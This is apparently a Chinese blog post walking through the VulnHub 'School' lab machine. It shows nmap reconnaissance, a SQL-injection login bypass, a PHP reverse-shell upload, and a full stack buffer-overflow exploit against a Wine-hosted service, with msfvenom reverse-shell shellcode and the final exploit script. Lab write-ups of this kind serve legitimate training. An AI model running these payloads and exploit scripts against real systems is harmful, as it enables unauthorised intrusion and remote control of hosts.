声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
靶机地址:
https://download.vulnhub.com/school/school.ova.gz
内容简介:
主机发现
端口扫描
信息收集
SQL注入
信息泄漏
文件上传
离线密码破解
在线密码破解
WINE
缓冲区溢出
EXP代码编写
本地提权
1.1 主机发现
arp-scan -l
1.2 端口扫描
nmap -p- 192.168.144.244
1.3 信息搜集
nmap -p22,23,80 -A 192.168.144.244
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-01 01:17 EDT
Nmap scan report for 192.168.144.244
Host is up (0.00068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
| 256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_ 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
23/tcp open telnet?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270:
|_ Verification Code:
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-title: 404 Not Found
|_Requested resource was login.php
|_http-server-header: Apache/2.4.38 (Debian)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.92%I=7%D=11/1%Time=6360ABFE%P=x86_64-pc-linux-gnu%r(NULL
SF:,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GenericLines,
SF:1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(tn3270,1C,"Ver
SF:ification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GetRequest,1C,"Verifi
SF:cation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(HTTPOptions,1C,"Verifica
SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RTSPRequest,1C,"Verificati
SF:on\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RPCCheck,1C,"Verification\x2
SF:0Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSVersionBindReqTCP,1C,"Verifica
SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSStatusRequestTCP,1C,"Ve
SF:rification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Help,1C,"Verificatio
SF:n\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SSLSessionReq,1C,"Verificatio
SF:n\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServerCookie,1C,"Veri
SF:fication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TLSSessionReq,1C,"Veri
SF:fication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Kerberos,1C,"Verificat
SF:ion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SMBProgNeg,1C,"Verification
SF:\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(X11Probe,1C,"Verification\x20C
SF:ode:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(FourOhFourRequest,1C,"Verification\
SF:x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LPDString,1C,"Verification\x20C
SF:ode:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPSearchReq,1C,"Verification\x20C
SF:ode:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPBindReq,1C,"Verification\x20Cod
SF:e:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SIPOptions,1C,"Verification\x20Code:\
SF:n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LANDesk-RC,1C,"Verification\x20Code:\n\0
SF:\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServer,1C,"Verification\x20Code:\n\
SF:0\0\0\xee\x1e@\0\xe2\x1c")%r(NCP,1C,"Verification\x20Code:\n\0\0\0\xee\
SF:x1e@\0\xe2\x1c")%r(NotesRPC,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\
SF:0\xe2\x1c")%r(JavaRMI,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\
SF:x1c")%r(WMSRequest,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c
SF:")%r(oracle-tns,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%
SF:r(ms-sql-s,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(afp
SF:,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c");
MAC Address: 08:00:27:07:C2:39 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.68 ms 192.168.144.244
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.54 seconds
1.4 登陆界面(进入)
http://192.168.144.244/student_attendance/login.php
1.5 SQL注入
账户:1'or 1=1 --
密码: 任意
登陆进入
1.6 文件上传
通过源代码检测
view-source:http://192.168.144.244/student_attendance/index.php
暴露接口,存在文件上传的路径
assets/uploads/1604743980_shell.php
http://192.168.144.244/student_attendance/index.php?page=site_settings
发现文件上传接口
cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php s.php
vim s.php //修改 ip
文件上传
访问
http://192.168.144.244/student_attendance/assets/uploads/
文件上传成功,在kali上起监听1234端口
点击php文件,反弹shell成功
升级终端
python -c "import pty;pty.spawn('/bin/bash')"
1.7 WINE
cd /root
ls -la
total 36
drwxr-xr-x 4 root root 4096 Nov 7 2020 .
drwxr-xr-x 18 root root 4096 Nov 3 2020 ..
lrwxrwxrwx 1 root root 9 Nov 7 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Oct 27 2020 .ssh
-rw------- 1 root root 764 Nov 7 2020 .viminfo
drwxr-xr-x 4 root root 4096 Nov 1 05:10 .wine //发现了 wine
-rw------- 1 root root 33 Nov 7 2020 proof.txt
-rwxr-xr-x 1 root root 61 Nov 3 2020 win //程序
cd .wine
存在win程序
ps -ef 正在运行 win 和 access.exe 进程
发现access,启动23端口
1.8 缓冲区溢出
准备环境
ImmunityDebugger_1_85_setup https://debugger.immunityinc.com
mona.py https://github.com/corelan/mona
access.exe 靶机下载 /opt/access/
funcs_access.dll 靶机下载 /opt/access/
nc 192.168.144.247 4444 < access.exe -w 1
nc -lvnp 4444 > access.exe
nc 192.168.144.247 4444 < funcs_access.dll -w 1
nc -lvnp 4444 > funcs_access.dll
安装 ImmunityDebugger
安装脚本
\Immunity Debugger\PyCommands
把mona文件放置到该目录下
准备完成开始干
首先查看端口
netstat -ano
执行软件
.\access.exe
23端口开放
正常启动ImmunityDebugger
打开应用程序点击箭头,让程序运行直到不在发生变化为止。
测试脚本 发送 2000个A
#!/usr/bin/python
import sys
import socket
from time import sleep
try:
buffer = 'A' * 2000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.144.100",23)) //ip 为 win 主机ip
s.send(buffer)
s.close()
print("12345")
except:
print("hello")
成功
程序崩溃了,存在缓冲区溢出漏洞
重新启动ImmunityDebugger
#!/usr/bin/python
import sys
import socket
from time import sleep
try:
buffer = 'A' * 1902 + 'B' * 4 +"C"* 100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.144.100",23))
s.send(buffer)
s.close()
print("12345")
except:
print("hello")
又崩溃了但是已经精准找到崩溃的位置,那4个B以及100个C执行shellcode
4个B的位置放入JMP ESP
100个C 的位置放入shellcode
第一步
寻址JMP ESP
!mona modules
去寻找读取access文件的模块
发现两个特征为false
!mona find -s "\xff\xe4" -m "funcs_access.dll" 去找 内存地址 每次启动执行不变 JMP ESP 地址
0x625012d0 0x625012dd 两个地址 为 JMP ESP
第二步
测定坏字符
如果使用python3,必须指明数据类型是字节型,传输的payload最好是单行,或者是使用加号多行拼接
如果使用python2,数据类型随便,单行或者多行随便。
#!/usr/bin/python
import sys
import socket
from time import sleep
try:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
buffer = 'A' * 1902 + 'B' * 4 +badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.144.100",23))
s.send(buffer)
s.close()
print("\ndone")
except:
print("12345")
测试坏字符代码
先找到ESP,右键-----Follow in Dump看左下角,分析坏字符
发现在4D处为坏字符不识别
故修改代码周而复始,所有坏字符从字符集里面删除坏字符即可 !!!!
例如 /x4d是坏掉的,删除它即可以下代码已删除可查看
#!/usr/bin/python
import sys
import socket
from time import sleep
try:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
buffer = 'A' * 1902 + 'B' * 4 +badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.144.100",23))
s.send(buffer)
s.close()
print("\ndone")
except:
print("12345")
总共有\x4d\x4f\x5f\x79\x7e\x7f有这么多
第三步
注入payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.144.247 LPORT=4444 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread
生成shellcode
"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xb6\xeb\xca\xa1\x83\xee\xfc\xe2\xf4\x4a\x03\x48\xa1\xb6\xeb"
"\xaa\x28\x53\xda\x0a\xc5\x3d\xbb\xfa\x2a\xe4\xe7\x41\xf3\xa2"
"\x60\xb8\x89\xb9\x5c\x80\x87\x87\x14\x66\x9d\xd7\x97\xc8\x8d"
"\x96\x2a\x05\xac\xb7\x2c\x28\x53\xe4\xbc\x41\xf3\xa6\x60\x80"
"\x9d\x3d\xa7\xdb\xd9\x55\xa3\xcb\x70\xe7\x60\x93\x81\xb7\x38"
"\x41\xe8\xae\x08\xf0\xe8\x3d\xdf\x41\xa0\x60\xda\x35\x0d\x77"
"\x24\xc7\xa0\x71\xd3\x2a\xd4\x40\xe8\xb7\x59\x8d\x96\xee\xd4"
"\x52\xb3\x41\xf9\x92\xea\x19\xc7\x3d\xe7\x81\x2a\xee\xf7\xcb"
"\x72\x3d\xef\x41\xa0\x66\x62\x8e\x85\x92\xb0\x91\xc0\xef\xb1"
"\x9b\x5e\x56\xb4\x95\xfb\x3d\xf9\x21\x2c\xeb\x83\xf9\x93\xb6"
"\xeb\xa2\xd6\xc5\xd9\x95\xf5\xde\xa7\xbd\x87\xb1\x14\x1f\x19"
"\x26\xea\xca\xa1\x9f\x2f\x9e\xf1\xde\xc2\x4a\xca\xb6\x14\x1f"
"\xf1\xe6\xbb\x9a\xe1\xe6\xab\x9a\xc9\x5c\xe4\x15\x41\x49\x3e"
"\x5d\xcb\xb3\x83\x0a\x09\x26\x1c\xa2\xa3\xb6\xfa\x96\x28\x50"
"\x81\xda\xf7\xe1\x83\x53\x04\xc2\x8a\x35\x74\x33\x2b\xbe\xad"
"\x49\xa5\xc2\xd4\x5a\x83\x3a\x14\x14\xbd\x35\x74\xde\x88\xa7"
"\xc5\xb6\x62\x29\xf6\xe1\xbc\xfb\x57\xdc\xf9\x93\xf7\x54\x16"
"\xac\x66\xf2\xcf\xf6\xa0\xb7\x66\x8e\x85\xa6\x2d\xca\xe5\xe2"
"\xbb\x9c\xf7\xe0\xad\x9c\xef\xe0\xbd\x99\xf7\xde\x92\x06\x9e"
"\x30\x14\x1f\x28\x56\xa5\x9c\xe7\x49\xdb\xa2\xa9\x31\xf6\xaa"
"\x5e\x63\x50\x2a\xbc\x9c\xe1\xa2\x07\x23\x56\x57\x5e\x63\xd7"
"\xcc\xdd\xbc\x6b\x31\x41\xc3\xee\x71\xe6\xa5\x99\xa5\xcb\xb6"
"\xb8\x35\x74"
最终攻击代码如下:请参考
#!/usr/bin/python
import sys
import socket
from time import sleep
// \x4d\x4f\x5f\x79\x7e\x7f 坏字符
// 0x625012dd 为 JMP ESP
try:
shellcode = (
"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xb6\xeb\xca\xa1\x83\xee\xfc\xe2\xf4\x4a\x03\x48\xa1\xb6\xeb"
"\xaa\x28\x53\xda\x0a\xc5\x3d\xbb\xfa\x2a\xe4\xe7\x41\xf3\xa2"
"\x60\xb8\x89\xb9\x5c\x80\x87\x87\x14\x66\x9d\xd7\x97\xc8\x8d"
"\x96\x2a\x05\xac\xb7\x2c\x28\x53\xe4\xbc\x41\xf3\xa6\x60\x80"
"\x9d\x3d\xa7\xdb\xd9\x55\xa3\xcb\x70\xe7\x60\x93\x81\xb7\x38"
"\x41\xe8\xae\x08\xf0\xe8\x3d\xdf\x41\xa0\x60\xda\x35\x0d\x77"
"\x24\xc7\xa0\x71\xd3\x2a\xd4\x40\xe8\xb7\x59\x8d\x96\xee\xd4"
"\x52\xb3\x41\xf9\x92\xea\x19\xc7\x3d\xe7\x81\x2a\xee\xf7\xcb"
"\x72\x3d\xef\x41\xa0\x66\x62\x8e\x85\x92\xb0\x91\xc0\xef\xb1"
"\x9b\x5e\x56\xb4\x95\xfb\x3d\xf9\x21\x2c\xeb\x83\xf9\x93\xb6"
"\xeb\xa2\xd6\xc5\xd9\x95\xf5\xde\xa7\xbd\x87\xb1\x14\x1f\x19"
"\x26\xea\xca\xa1\x9f\x2f\x9e\xf1\xde\xc2\x4a\xca\xb6\x14\x1f"
"\xf1\xe6\xbb\x9a\xe1\xe6\xab\x9a\xc9\x5c\xe4\x15\x41\x49\x3e"
"\x5d\xcb\xb3\x83\x0a\x09\x26\x1c\xa2\xa3\xb6\xfa\x96\x28\x50"
"\x81\xda\xf7\xe1\x83\x53\x04\xc2\x8a\x35\x74\x33\x2b\xbe\xad"
"\x49\xa5\xc2\xd4\x5a\x83\x3a\x14\x14\xbd\x35\x74\xde\x88\xa7"
"\xc5\xb6\x62\x29\xf6\xe1\xbc\xfb\x57\xdc\xf9\x93\xf7\x54\x16"
"\xac\x66\xf2\xcf\xf6\xa0\xb7\x66\x8e\x85\xa6\x2d\xca\xe5\xe2"
"\xbb\x9c\xf7\xe0\xad\x9c\xef\xe0\xbd\x99\xf7\xde\x92\x06\x9e"
"\x30\x14\x1f\x28\x56\xa5\x9c\xe7\x49\xdb\xa2\xa9\x31\xf6\xaa"
"\x5e\x63\x50\x2a\xbc\x9c\xe1\xa2\x07\x23\x56\x57\x5e\x63\xd7"
"\xcc\xdd\xbc\x6b\x31\x41\xc3\xee\x71\xe6\xa5\x99\xa5\xcb\xb6"
"\xb8\x35\x74" )
buffer = 'A' * 1902 + "\xdd\x12\x50\x62" + "\x90" *32 + shellcode //x90为空更好执行命令
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.144.244",23))
s.send(buffer)
s.close()
print("\ndone")
except:
print("12345")
起监听端口4444
成功
1.8 小计
终于成功了,最令我烦恼的就是shellcode尤其是坏字符
这台靶机折磨人, 准备环境!
不懂得命令
坏字符的重复!!!折磨人心
注:如有侵权请后台联系进行删除
觉得内容不错,请点一下"赞"和"在看"
1、公众号后台回复:搜索大法,获取searchall工具下载链接。
2、公众号后台回复:靶场,获取靶场工具网盘下载链接。
3、公众号后台回复:webshell,获取webshell下载链接。
4、公众号后台回复:验证码,获取验证码工具下载链接。
5.公众号后台回复:应急响应,获取应急响应网盘下载链接。
6.公众号后台回复:CS,获取CS渗透工具包网盘下载链接。
7.公众号点菜单栏"工具合集",后台回复"嗨"即可获取!